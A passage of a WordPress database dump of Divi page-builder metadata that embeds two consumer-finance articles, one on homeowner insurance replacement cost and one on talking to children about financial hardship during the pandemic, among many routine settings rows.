tell an appraiser before you hire them of the estimate you already have, as well as the cost per square foot your insurer used. A good local appraiser will be able to tell you off the bat if that&#8217;s in the normal range and may be able to save you money and time.</p>\n<p>Coverage Requirements and Policy Type</p>\n<p>Insurance companies often offer several types of insurance coverage for homes. Guaranteed replacement cost will insure you to the stated replacement value—plus a certain percentage over the insured dwelling value. This added percentage is for if the cost of reconstruction ends up being higher than expected in the event of a claim.</p>\n<p>Some companies may cap the guaranteed value at 125% of your insured dwelling value. Others may offer a guaranteed replacement, &#8220;no matter what the cost.&#8221; Ask your insurance representative what kind of home insurance coverage you have.</p>\n<p>Guaranteed Replacement coverage usually requires you to insure to 100% of the evaluated reconstruction cost of your dwelling. This coverage is the best kind of coverage because it protects you no matter what, but you also have other less expensive options.</p>\n<p>Understanding Replacement Cost</p>\n<p>Replacement cost is different than guaranteed replacement cost because it will not pay out in a claim more than the insured value. If you feel your evaluation is too high—and you don&#8217;t think you need guaranteed replacement cost—you still need to take a pause.</p>\n<p>You must be convinced a lesser amount than the evaluated dwelling value will cover you sufficiently in a case of a claim. If you are comfortable, then you can take your chances and ask your insurance company if there is a possibility to lower your insurance cost by getting replacement cost versus guaranteed replacement cost.</p>\n<p>Usually, the conditions to get replacement costs are that you insure to a certain percentage of the evaluated dwelling value of your home. Different insurers offer different plans. These plans usually range in the requirement to insure 80% or 85% of the reconstruction value.</p>\n<p>Insurance varies by state jurisdiction, so be sure and ask about this from your insurer. This prior knowledge could avoid the entire argument about whether or not the value is correct and allows you to have a safe middle ground if you are comfortable with taking on the risk.</p>\n<p>Changes by Increasing or Reducing Insured Value</p>\n<p>Many of the coverages on the homeowner insurance policy are allotted as a percentage of the insured dwelling value. For example, your personal belongings and contents may be set at 70% of the building value. Your additional living expenses may be set at 10% or 20% of the total insured value.</p>\n<p>Any time your insured dwelling value changes, make sure you review how it will impact the rest of the coverages on your policy—especially where it is related to contents and your personal belongings. Sometimes the value of the items in your home may be worth much more than the average person. In these cases, you want to be careful when you reduce your dwelling value since it will also reduce the related insurance amounts for:</p>\n<p>Additional living expenses<br />\nPersonal contents<br />\nDetached and additional structures</p>\n<p>Reducing your home insurance dwelling value does not impact the liability coverage on your home policy, riders or special endorsements, or the special limits within the policy.</p>\n<p>Other Options to Save on Insurance Costs</p>\n<p>If after evaluating the factors and options for why your dwelling insured value is as high as it is, you still want to find ways to save on insurance.</p>\n<p>Consider increasing the deductible on your policy; this could save you up to 40% on your insurance costs.<br />\nBundle your insurance: You can ask for a quote for your home and car insurance with the same company and take advantage of the cost savings from bundling your insurance. <br />\nGet quotes from other companies. A lot of people worry that if they cancel their policy before the renewal date, they will get hit with a penalty for canceling. What most people don&#8217;t realize is that if you are canceling ​a policy mid-term or before your insurance renewal to save money or get more coverages, then it pays to cancel your policy early.</p>\n<p>To read the full article, click here.</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(987,396,'_et_pb_truncate_post_date','2021-03-16 03:03:13'),(988,396,'_et_builder_version','VB|Divi|4.0.9'),(989,396,'_et_pb_show_page_creation','off'),(990,400,'_edit_lock','1590536939:1'),(991,400,'_edit_last','1'),(992,400,'_et_pb_post_hide_nav','default'),(993,400,'_et_pb_page_layout','et_right_sidebar'),(994,400,'_et_pb_side_nav','off'),(995,400,'_et_pb_use_builder','on'),(996,400,'_et_pb_built_for_post_type','page'),(997,400,'_et_pb_ab_subjects',''),(998,400,'_et_pb_enable_shortcode_tracking',''),(999,400,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"400\" /]'),(1000,400,'_et_pb_custom_css',''),(1001,400,'_et_pb_gutter_width','3'),(1002,400,'_thumbnail_id',''),(1003,400,'_et_pb_first_image',''),(1004,400,'_et_pb_truncate_post',''),(1005,400,'_et_pb_truncate_post_date',''),(1006,400,'_et_builder_version','VB|Divi|4.0.9'),(1007,400,'_et_pb_show_page_creation','off'),(1008,411,'_edit_lock','1590536889:1'),(1009,411,'_edit_last','1'),(1010,411,'_et_pb_post_hide_nav','default'),(1011,411,'_et_pb_page_layout','et_right_sidebar'),(1012,411,'_et_pb_side_nav','off'),(1013,411,'_et_pb_use_builder','on'),(1014,411,'_et_pb_built_for_post_type','page'),(1015,411,'_et_pb_ab_subjects',''),(1016,411,'_et_pb_enable_shortcode_tracking',''),(1017,411,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"411\" /]'),(1018,411,'_et_pb_custom_css',''),(1019,411,'_et_pb_gutter_width','3'),(1020,411,'_thumbnail_id',''),(1021,411,'_et_pb_first_image',''),(1022,411,'_et_pb_truncate_post',''),(1023,411,'_et_pb_truncate_post_date',''),(1024,411,'_et_builder_version','VB|Divi|4.0.9'),(1025,411,'_et_pb_show_page_creation','off'),(1026,415,'_edit_lock','1590536858:1'),(1027,415,'_edit_last','1'),(1028,415,'_et_pb_post_hide_nav','default'),(1029,415,'_et_pb_page_layout','et_right_sidebar'),(1030,415,'_et_pb_side_nav','off'),(1031,415,'_et_pb_use_builder','on'),(1032,415,'_et_pb_built_for_post_type','page'),(1033,415,'_et_pb_ab_subjects',''),(1034,415,'_et_pb_enable_shortcode_tracking',''),(1035,415,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"415\" /]'),(1036,415,'_et_pb_custom_css',''),(1037,415,'_et_pb_gutter_width','3'),(1038,415,'_thumbnail_id',''),(1039,415,'_et_pb_first_image',''),(1040,415,'_et_pb_truncate_post',''),(1041,415,'_et_pb_truncate_post_date',''),(1042,415,'_et_builder_version','VB|Divi|4.0.9'),(1043,415,'_et_pb_show_page_creation','off'),(1044,419,'_edit_lock','1590536860:1'),(1045,419,'_edit_last','1'),(1046,419,'_et_pb_post_hide_nav','default'),(1047,419,'_et_pb_page_layout','et_right_sidebar'),(1048,419,'_et_pb_side_nav','off'),(1049,419,'_et_pb_use_builder','on'),(1050,419,'_et_pb_built_for_post_type','page'),(1051,419,'_et_pb_ab_subjects',''),(1052,419,'_et_pb_enable_shortcode_tracking',''),(1053,419,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"419\" /]'),(1054,419,'_et_pb_custom_css',''),(1055,419,'_et_pb_gutter_width','3'),(1056,419,'_thumbnail_id',''),(1057,419,'_et_pb_first_image',''),(1058,419,'_et_pb_truncate_post',''),(1059,419,'_et_pb_truncate_post_date',''),(1060,419,'_et_builder_version','VB|Divi|4.0.9'),(1061,419,'_et_pb_show_page_creation','off'),(1138,480,'_edit_lock','1592951038:1'),(1255,512,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:1080;s:6:\"height\";i:1920;s:4:\"file\";s:19:\"2020/06/Renters.png\";s:5:\"sizes\";a:13:{s:6:\"medium\";a:4:{s:4:\"file\";s:19:\"Renters-169x300.png\";s:5:\"width\";i:169;s:6:\"height\";i:300;s:9:\"mime-type\";s:9:\"image/png\";}s:5:\"large\";a:4:{s:4:\"file\";s:20:\"Renters-576x1024.png\";s:5:\"width\";i:576;s:6:\"height\";i:1024;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:19:\"Renters-150x150.png\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:9:\"image/png\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:20:\"Renters-768x1365.png\";s:5:\"width\";i:768;s:6:\"height\";i:1365;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:20:\"Renters-864x1536.png\";s:5:\"width\";i:864;s:6:\"height\";i:1536;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:19:\"Renters-400x250.png\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:9:\"image/png\";}s:31:\"et-pb-post-main-image-fullwidth\";a:4:{s:4:\"file\";s:20:\"Renters-1080x675.png\";s:5:\"width\";i:1080;s:6:\"height\";i:675;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:19:\"Renters-400x284.png\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:9:\"image/png\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:19:\"Renters-510x382.png\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:9:\"image/png\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:19:\"Renters-400x516.png\";s:5:\"width\";i:400;s:6:\"height\";i:516;s:9:\"mime-type\";s:9:\"image/png\";}s:37:\"et-pb-post-main-image-fullwidth-large\";a:4:{s:4:\"file\";s:21:\"Renters-1080x1800.png\";s:5:\"width\";i:1080;s:6:\"height\";i:1800;s:9:\"mime-type\";s:9:\"image/png\";}s:31:\"et-pb-image--responsive--tablet\";a:4:{s:4:\"file\";s:20:\"Renters-980x1742.png\";s:5:\"width\";i:980;s:6:\"height\";i:1742;s:9:\"mime-type\";s:9:\"image/png\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:19:\"Renters-480x853.png\";s:5:\"width\";i:480;s:6:\"height\";i:853;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(1254,512,'_wp_attached_file','2020/06/Renters.png'),(1253,508,'_et_pb_old_content','<!-- wp:divi/placeholder /-->'),(1252,508,'_et_pb_show_page_creation','off'),(1251,508,'_et_pb_use_builder','on'),(1250,508,'_et_pb_side_nav','off'),(1249,508,'_et_pb_page_layout','et_right_sidebar'),(1248,508,'_et_pb_post_hide_nav','default'),(1081,437,'_edit_lock','1590535981:1'),(1082,437,'_edit_last','1'),(1083,437,'_et_pb_post_hide_nav','default'),(1084,437,'_et_pb_page_layout','et_right_sidebar'),(1085,437,'_et_pb_side_nav','off'),(1086,437,'_et_pb_use_builder','on'),(1087,437,'_et_pb_built_for_post_type','page'),(1088,437,'_et_pb_ab_subjects',''),(1089,437,'_et_pb_enable_shortcode_tracking',''),(1090,437,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"437\" /]'),(1091,437,'_et_pb_custom_css',''),(1092,437,'_et_pb_gutter_width','3'),(1093,437,'_thumbnail_id',''),(1094,437,'_et_pb_first_image',''),(1095,437,'_et_pb_truncate_post',''),(1096,437,'_et_pb_truncate_post_date',''),(1097,437,'_et_builder_version','VB|Divi|4.0.9'),(1098,437,'_et_pb_show_page_creation','off'),(1246,508,'_edit_lock','1593193971:1'),(1247,508,'_edit_last','1'),(1102,465,'_edit_lock','1590596119:1'),(1103,465,'_edit_last','1'),(1104,465,'_et_pb_post_hide_nav','default'),(1105,465,'_et_pb_page_layout','et_right_sidebar'),(1106,465,'_et_pb_side_nav','off'),(1107,465,'_et_pb_use_builder','on'),(1108,465,'_et_pb_built_for_post_type','page'),(1109,465,'_et_pb_ab_subjects',''),(1110,465,'_et_pb_enable_shortcode_tracking',''),(1111,465,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"465\" /]'),(1112,465,'_et_pb_custom_css',''),(1113,465,'_et_pb_gutter_width','3'),(1114,465,'_thumbnail_id',''),(1115,465,'_et_pb_first_image',''),(1116,465,'_et_pb_truncate_post',''),(1117,465,'_et_pb_truncate_post_date',''),(1118,465,'_et_builder_version','VB|Divi|4.0.9'),(1119,465,'_et_pb_show_page_creation','off'),(1120,475,'_edit_lock','1590600918:1'),(1121,475,'_et_pb_use_builder','on'),(1122,475,'_edit_last','1'),(1123,475,'_et_pb_post_hide_nav','default'),(1124,475,'_et_pb_page_layout','et_right_sidebar'),(1125,475,'_et_pb_side_nav','off'),(1126,475,'_et_pb_built_for_post_type','page'),(1127,475,'_et_pb_ab_subjects',''),(1128,475,'_et_pb_enable_shortcode_tracking',''),(1129,475,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"475\" /]'),(1130,475,'_et_pb_custom_css',''),(1131,475,'_et_pb_gutter_width','3'),(1132,475,'_thumbnail_id',''),(1133,475,'_et_pb_first_image',''),(1134,475,'_et_pb_truncate_post',''),(1135,475,'_et_pb_truncate_post_date',''),(1136,475,'_et_builder_version','VB|Divi|4.0.9'),(1137,475,'_et_pb_show_page_creation','off'),(1141,480,'_et_pb_page_layout','et_right_sidebar'),(1142,480,'_et_pb_side_nav','off'),(1143,480,'_et_pb_use_builder','on'),(1144,480,'_et_pb_built_for_post_type','page'),(1145,480,'_et_pb_ab_subjects',''),(1146,480,'_et_pb_enable_shortcode_tracking',''),(1147,480,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"480\" /]'),(1148,480,'_et_pb_custom_css',''),(1149,480,'_et_pb_gutter_width','3'),(1150,480,'_thumbnail_id',''),(1151,480,'_et_pb_first_image',''),(1152,480,'_et_pb_truncate_post',''),(1153,480,'_et_pb_truncate_post_date',''),(1154,480,'_et_builder_version','VB|Divi|4.0.9'),(1155,480,'_et_pb_show_page_creation','off'),(1156,485,'_edit_lock','1592951588:1'),(1157,485,'_edit_last','1'),(1158,485,'_et_pb_post_hide_nav','default'),(1159,485,'_et_pb_page_layout','et_right_sidebar'),(1160,485,'_et_pb_side_nav','off'),(1161,485,'_et_pb_use_builder','on'),(1162,485,'_et_pb_built_for_post_type','page'),(1163,485,'_et_pb_ab_subjects',''),(1164,485,'_et_pb_enable_shortcode_tracking',''),(1165,485,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"485\" /]'),(1166,485,'_et_pb_custom_css',''),(1167,485,'_et_pb_gutter_width','3'),(1168,485,'_thumbnail_id',''),(1169,485,'_et_pb_first_image',''),(1170,485,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_4 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_8\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_8  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_8  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">How to talk to your kids about financial hardship</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_9\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_9  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_9  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">With millions of Americans out of work due to the coronavirus pandemic, more Americans than ever are depending on unemployment benefits, loan payment assistance, and forgiving landlords to get through the month. It may be years before the total financial cost is calculated, and the emotional tally may never be known.<br />\nHow do you tell your kids that you don&#8217;t have enough money for necessities, much less anything extra? How do you share the truth without frightening them? Finally, is it possible to use this experience to help your children grow up into compassionate, balanced adults with a sense of what matters in life?<br />\nShould you tell your kids about financial hardship?<br />\nTamara Stervinou taught special education for nearly 30 years, the last 25 in Kearney, Missouri. She says that children pick up on what&#8217;s going on around them. If you are stressed, chances are they know it. They don&#8217;t understand why you can&#8217;t sleep at night, so they jump to conclusions. What they imagine is often scarier than what is really going on. If you&#8217;re wondering how to talk to your kids about financial hardship, these tips will get you started:</p>\n<p>Remain calm. &#8220;Staying calm is everything,&#8221; said Stervinou. &#8220;A child will innately think it&#8217;s their fault when you talk to them about money problems. Don&#8217;t put that on them.&#8221; Calmly explain the situation in a way that lets your kids know that you are in charge and you can handle it &#8212; whether you feel that way or not.<br />\nFollow their lead. Do not tell them more than they want to know. One child may feel fine after hearing a single answer, while another may want to ask several follow-up questions. Stervinou reminds us that this is a confusing time for children. &#8220;If there was a flood, kids would be able to see why they can&#8217;t go to school or Mom and Dad can&#8217;t go to work. They can&#8217;t see a virus, which makes this more confusing for them.&#8221;<br />\nAnswer in an age-appropriate way. A seven-year-old has no interest in IRAs or what the economic downturn has done to your balance. He or she wants to know why they can&#8217;t have a new pair of shoes.<br />\nKeep it simple. Say something like, &#8220;Mom and Dad are not working right now because of the virus. We&#8217;re being careful with our checking account and will not be spending as much as we normally do.&#8221;<br />\nOffer a broad overview. Once you have told your kids that you are cutting back on spending, do not go into the weeds by offering them more details than they can absorb, and refrain from sharing your pandemic-related frustrations.<br />\nDo not &#8220;parentify&#8221; your children. Let them know finances are an adult issue. Their only job is to keep being great kids and to leave all other concerns to you.</p>\n<p>What about children with special needs?<br />\nWhether your child has a disability, behavioral issues, or deals with anxiety, discussing financial hardship requires sensitivity. Wait to have the conversation until you can focus fully on your child. In addition, you should:</p>\n<p>Consider your child&#8217;s capacity for accepting bad news. Before you say anything, think about how you will comfort and calm your child if they have an outburst. Remember, they are having a normal reaction to an atypical situation. Your job is to help them draw on the coping skills they have learned.<br />\nDo not over-share. As you would with any child, tell them just enough to answer their questions without adding to their anxiety or frustration.<br />\nKeep it simple. Stervinou says that most kids, regardless of abilities, understand what a grocery store is. Let them know that for the time being, you are trying to protect your family and other people by making trips to the grocery store &#8212; and only the grocery store &#8212; only when it&#8217;s absolutely necessary.<br />\nExpect outbursts. It&#8217;s only human for a kid to lash out when he or she is frustrated and/or afraid. &#8220;Adults with no disabilities act out. It&#8217;s a given that kids are going to do something to show their frustration,&#8221; Stervinou said. </p>\n<p>&nbsp;</p>\n<p>Teach finances through positive experiences<br />\nIt would be a lie to say that we can put COVID-19 behind us. In fact, many of us will always remember 2020 as the year a pandemic shut down America. Our children will remember it as well. What is it that you want your kids to recall when they look back on this time? What lessons do you hope they carry with them?</p>\n<p>&nbsp;</p>\n<p>Some of the most meaningful conversations we have are while we&#8217;re emptying the dishwasher or folding towels. As you move through the upcoming days with your kids, casually introduce questions like these:</p>\n<p>What do you think we will learn from this experience? Your children&#8217;s great- grandparents (or great-great-grandparents) had The Great Depression to teach them the value of living below their means and how to prioritize anemergency fund. As you discuss finances with your kids, talk about the wisdom of saving money, how important it is to delay gratification, and the best way to use credit. Finally, ask them about the lessons they think they will take from the experience.<br />\nWhat means the most to you? At the end of life, few of us will brag about the stuff we own. We will, however, be proud of the relationships we built. Now is a great time to talk to your children about what matters and what doesn&#8217;t, to help them understand that relationships and experiences trump new toys and gadgets every time.<br />\nHow can we have fun without spending money? When financial consultant Winnie Sun wanted to teach her three young sons about having fun on a budget, she transformed the dining room table into a ping pong table. Sun pulled out old table tennis paddles and encouraged one of her sons to build a &#8220;net&#8221; using Legos. She also ordered seeds so the boys could plant and care for a garden in buckets in the backyard. Sun says that when her sons look back on 2020 and their shelter-at-home experience, she wants them to remember how much fun they had without spending a dime.<br />\nWould you like to help with the family budget? Invite older children to take part in family budget meetings. They already know that times are tough, but having a voice regarding the family budget can give older kids a greater sense of control, teach themhow to budget, and help them see that things will eventually get better.</p>\n<p>Take care of yourself<br />\nStervinou is particularly concerned about parents with children at home, worried that they are not taking proper care of themselves. According to the longtime educator, how you take care of yourself directly impacts how well you can teach your kids about pandemics, finances, job loss, or any other life-altering circumstance.<br />\n&#8220;When you&#8217;re overwhelmed, take a step back. If you&#8217;re frustrated because you have trouble helping your child with their schoolwork, give yourself permission to do half the work,&#8221; she said. &#8220;Don&#8217;t put your frustration back on your child. Rather, modify what you&#8217;re doing. Talk to other parents to find out how they&#8217;re doing things, create or join a social support group, contact your child&#8217;s teacher to ask for help. Do what you need to do to lighten the load. If you can&#8217;t take care of you, how are you going to take care of your children?&#8221;<br />\nCoronavirus comfort buying:Stress shopping is a real thing. Don’t let it hurt your finances<br />\nSocial Security:How to plan for a smaller Social Security check<br />\nStervinou also recommends spending time outdoors with your kids every day. Take a walk, make chalk drawings on the sidewalk, have a picnic in the driveway or on the porch, or just play a game. &#8220;Make sure you and the kids get enough physical activity. It&#8217;s good for your mind and soul.&#8221;<br />\nThere are millions of Americans who feel adrift right now, although that reminder may offer more anxiety than comfort. The truth is, we will get through this. We may view the world in a slightly different way, but that&#8217;s not necessarily a bad thing. If what you&#8217;re left with after the kids are back in school and you&#8217;re back to work is a greater sense that you want to control your own financial fate, start researching the ways you can do that. Until then, take this opportunity to teach your children the power of perseverance.</p>\n<p>To read the full article, click here.</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(1171,485,'_et_pb_truncate_post_date','2020-10-05 03:10:17'),(1172,485,'_et_builder_version','VB|Divi|4.0.9'),(1173,485,'_et_pb_show_page_creation','off'),(1174,490,'_edit_lock','1592952538:1'),(1175,490,'_edit_last','1'),(1176,490,'_et_pb_post_hide_nav','default'),(1177,490,'_et_pb_page_layout','et_right_sidebar'),(1178,490,'_et_pb_side_nav','off'),(1179,490,'_et_pb_use_builder','on'),(1180,490,'_et_pb_built_for_post_type','page'),(1181,490,'_et_pb_ab_subjects',''),(1182,490,'_et_pb_enable_shortcode_tracking',''),(1183,490,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"490\" /]'),(1184,490,'_et_pb_custom_css',''),(1185,490,'_et_pb_gutter_width','3'),(1186,490,'_thumbnail_id',''),(1187,490,'_et_pb_first_image',''),(1188,490,'_et_pb_truncate_post',''),(1189,490,'_et_pb_truncate_post_date',''),(1190,490,'_et_builder_version','VB|Divi|4.0.9'),(1191,490,'_et_pb_show_page_creation','off'),(1192,494,'_edit_lock','1592953123:1'),(1193,494,'_edit_last','1'),(1194,494,'_et_pb_post_hide_nav','default'),(1195,494,'_et_pb_page_layout','et_right_sidebar'),(1196,494,'_et_pb_side_nav','off'),(1197,494,'_et_pb_use_builder','on'),(1198,494,'_et_pb_built_for_post_type','page'),(1199,494,'_et_pb_ab_subjects',''),(1200,494,'_et_pb_enable_shortcode_tracking',''),(1201,494,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"494\" /]'),(1202,494,'_et_pb_custom_css',''),(1203,494,'_et_pb_gutter_width','3'),(1204,494,'_thumbnail_id',''),(1205,494,'_et_pb_first_image',''),(1206,494,'_et_pb_truncate_post',''),(1207,494,'_et_pb_truncate_post_date',''),(1208,494,'_et_builder_version','VB|Divi|4.0.9'),(1209,494,'_et_pb_show_page_creation','off'),(1210,498,'_edit_lock','1592955292:1'),(1211,498,'_et_pb_use_builder','on'),(1212,498,'_edit_last','1'),(1213,498,'_et_pb_post_hide_nav','default'),(1214,498,'_et_pb_page_layout','et_right_sidebar'),(1215,498,'_et_pb_side_nav','off'),(1216,498,'_et_pb_built_for_post_type','page'),(1217,498,'_et_pb_ab_subjects',''),(1218,498,'_et_pb_enable_shortcode_tracking',''),(1219,498,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"498\" /]'),(1220,498,'_et_pb_custom_css',''),(1221,498,'_et_pb_gutter_width','3'),(1222,498,'_thumbnail_id',''),(1223,498,'_et_pb_first_image',''),(1224,498,'_et_pb_truncate_post',''),(1225,498,'_et_pb_truncate_post_date',''),(1226,498,'_et_builder_version','VB|Divi|4.0.9'),(1227,498,'_et_pb_show_page_creation','off'),(1228,503,'_edit_lock','1593108574:1'),(1229,503,'_et_pb_use_builder','on'),(1230,503,'_edit_last','1'),(1231,503,'_et_pb_post_hide_nav','default'),(1232,503,'_et_pb_page_layout','et_right_sidebar'),(1233,503,'_et_pb_side_nav','off'),(1234,503,'_et_pb_built_for_post_type','page'),(1235,503,'_et_pb_ab_subjects',''),(1236,503,'_et_pb_enable_shortcode_tracking',''),(1237,503,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"503\" /]'),(1238,503,'_et_pb_custom_css',''),(1239,503,'_et_pb_gutter_width','3'),(1240,503,'_thumbnail_id',''),(1241,503,'_et_pb_first_image',''),(1242,503,'_et_pb_truncate_post',''),(1243,503,'_et_pb_truncate_post_date',''),(1244,503,'_et_builder_version','VB|Divi|4.0.9'),(1245,503,'_et_pb_show_page_creation','off'),(1256,508,'_et_pb_built_for_post_type','page'),(1257,508,'_et_pb_ab_subjects',''),(1258,508,'_et_pb_enable_shortcode_tracking',''),(1259,508,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"508\" /]'),(1260,508,'_et_pb_custom_css',''),(1261,508,'_et_pb_gutter_width','3'),(1262,508,'_thumbnail_id',''),(1263,508,'_et_pb_first_image',''),(1264,508,'_et_pb_truncate_post',''),(1265,508,'_et_pb_truncate_post_date',''),(1266,508,'_et_builder_version','VB|Divi|4.0.9'),(1267,515,'_edit_lock','1593200012:1'),(1268,515,'_edit_last','1'),(1269,515,'_et_pb_post_hide_nav','default'),(1270,515,'_et_pb_page_layout','et_right_sidebar'),(1271,515,'_et_pb_side_nav','off'),(1272,515,'_et_pb_use_builder','on'),(1273,515,'_et_pb_built_for_post_type','page'),(1274,515,'_et_pb_ab_subjects',''),(1275,515,'_et_pb_enable_shortcode_tracking',''),(1276,515,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"515\" /]'),(1277,515,'_et_pb_custom_css',''),(1278,515,'_et_pb_gutter_width','3'),(1279,515,'_thumbnail_id',''),(1280,515,'_et_pb_first_image',''),(1281,515,'_et_pb_truncate_post',''),(1282,515,'_et_pb_truncate_post_date',''),(1283,515,'_et_builder_version','VB|Divi|4.0.9'),(1284,515,'_et_pb_show_page_creation','off'),(1285,524,'_edit_lock','1594923878:1'),(1286,524,'_edit_last','1'),(1287,524,'_et_pb_post_hide_nav','default'),(1288,524,'_et_pb_page_layout','et_right_sidebar'),(1289,524,'_et_pb_side_nav','off'),(1290,524,'_et_pb_use_builder','on'),(1291,524,'_et_pb_built_for_post_type','page'),(1292,524,'_et_pb_ab_subjects',''),(1293,524,'_et_pb_enable_shortcode_tracking',''),(1294,524,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"524\" /]'),(1295,524,'_et_pb_custom_css',''),(1296,524,'_et_pb_gutter_width','3'),(1297,524,'_thumbnail_id',''),(1298,524,'_et_pb_first_image',''),(1299,524,'_et_pb_truncate_post',''),(1300,524,'_et_pb_truncate_post_date',''),(1301,524,'_et_builder_version','VB|Divi|4.0.9'),(1302,524,'_et_pb_show_page_creation','off'),(1303,530,'_edit_lock','1594925781:1'),(1304,530,'_edit_last','1'),(1305,530,'_et_pb_post_hide_nav','default'),(1306,530,'_et_pb_page_layout','et_right_sidebar'),(1307,530,'_et_pb_side_nav','off'),(1308,530,'_et_pb_use_builder','on'),(1309,530,'_et_pb_built_for_post_type','page'),(1310,530,'_et_pb_ab_subjects',''),(1311,530,'_et_pb_enable_shortcode_tracking',''),(1312,530,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"530\" /]'),(1313,530,'_et_pb_custom_css',''),(1314,530,'_et_pb_gutter_width','3'),(1315,530,'_thumbnail_id',''),(1316,530,'_et_pb_first_image',''),(1317,530,'_et_pb_truncate_post',''),(1318,530,'_et_pb_truncate_post_date',''),(1319,530,'_et_builder_version','VB|Divi|4.0.9'),(1320,530,'_et_pb_show_page_creation','off'),(1321,534,'_edit_lock','1594930120:1'),(1322,534,'_edit_last','1'),(1323,534,'_et_pb_post_hide_nav','default'),(1324,534,'_et_pb_page_layout','et_right_sidebar'),(1325,534,'_et_pb_side_nav','off'),(1326,534,'_et_pb_use_builder','on'),(1327,534,'_et_pb_built_for_post_type','page'),(1328,534,'_et_pb_ab_subjects',''),(1329,534,'_et_pb_enable_shortcode_tracking',''),(1330,534,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"534\" /]'),(1331,534,'_et_pb_custom_css',''),(1332,534,'_et_pb_gutter_width','3'),(1333,534,'_thumbnail_id',''),(1334,534,'_et_pb_first_image',''),(1335,534,'_et_pb_truncate_post',''),(1336,534,'_et_pb_truncate_post_date',''),(1337,534,'_et_builder_version','VB|Divi|4.0.9'),(1338,534,'_et_pb_show_page_creation','off'),(1339,538,'_edit_lock','1594930679:1'),(1340,538,'_edit_last','1'),(1341,538,'_et_pb_post_hide_nav','default'),(1342,538,'_et_pb_page_layout','et_right_sidebar'),(1343,538,'_et_pb_side_nav','off'),(1344,538,'_et_pb_use_builder','on'),(1345,538,'_et_pb_built_for_post_type','page'),(1346,538,'_et_pb_ab_subjects',''),(1347,538,'_et_pb_enable_shortcode_tracking',''),(1348,538,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"538\" /]'),(1349,538,'_et_pb_custom_css',''),(1350,538,'_et_pb_gutter_width','3'),(1351,538,'_thumbnail_id',''),(1352,538,'_et_pb_first_image',''),(1353,538,'_et_pb_truncate_post',''),(1354,538,'_et_pb_truncate_post_date',''),(1355,538,'_et_builder_version','VB|Divi|4.0.9'),(1356,538,'_et_pb_show_page_creation','off'),(1357,545,'_edit_lock','1594931037:1'),(1358,545,'_edit_last','1'),(1359,545,'_et_pb_post_hide_nav','default'),(1360,545,'_et_pb_page_layout','et_right_sidebar'),(1361,545,'_et_pb_side_nav','off'),(1362,545,'_et_pb_use_builder','on'),(1363,545,'_et_pb_built_for_post_type','page'),(1364,545,'_et_pb_ab_subjects',''),(1365,545,'_et_pb_enable_shortcode_tracking',''),(1366,545,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"545\" 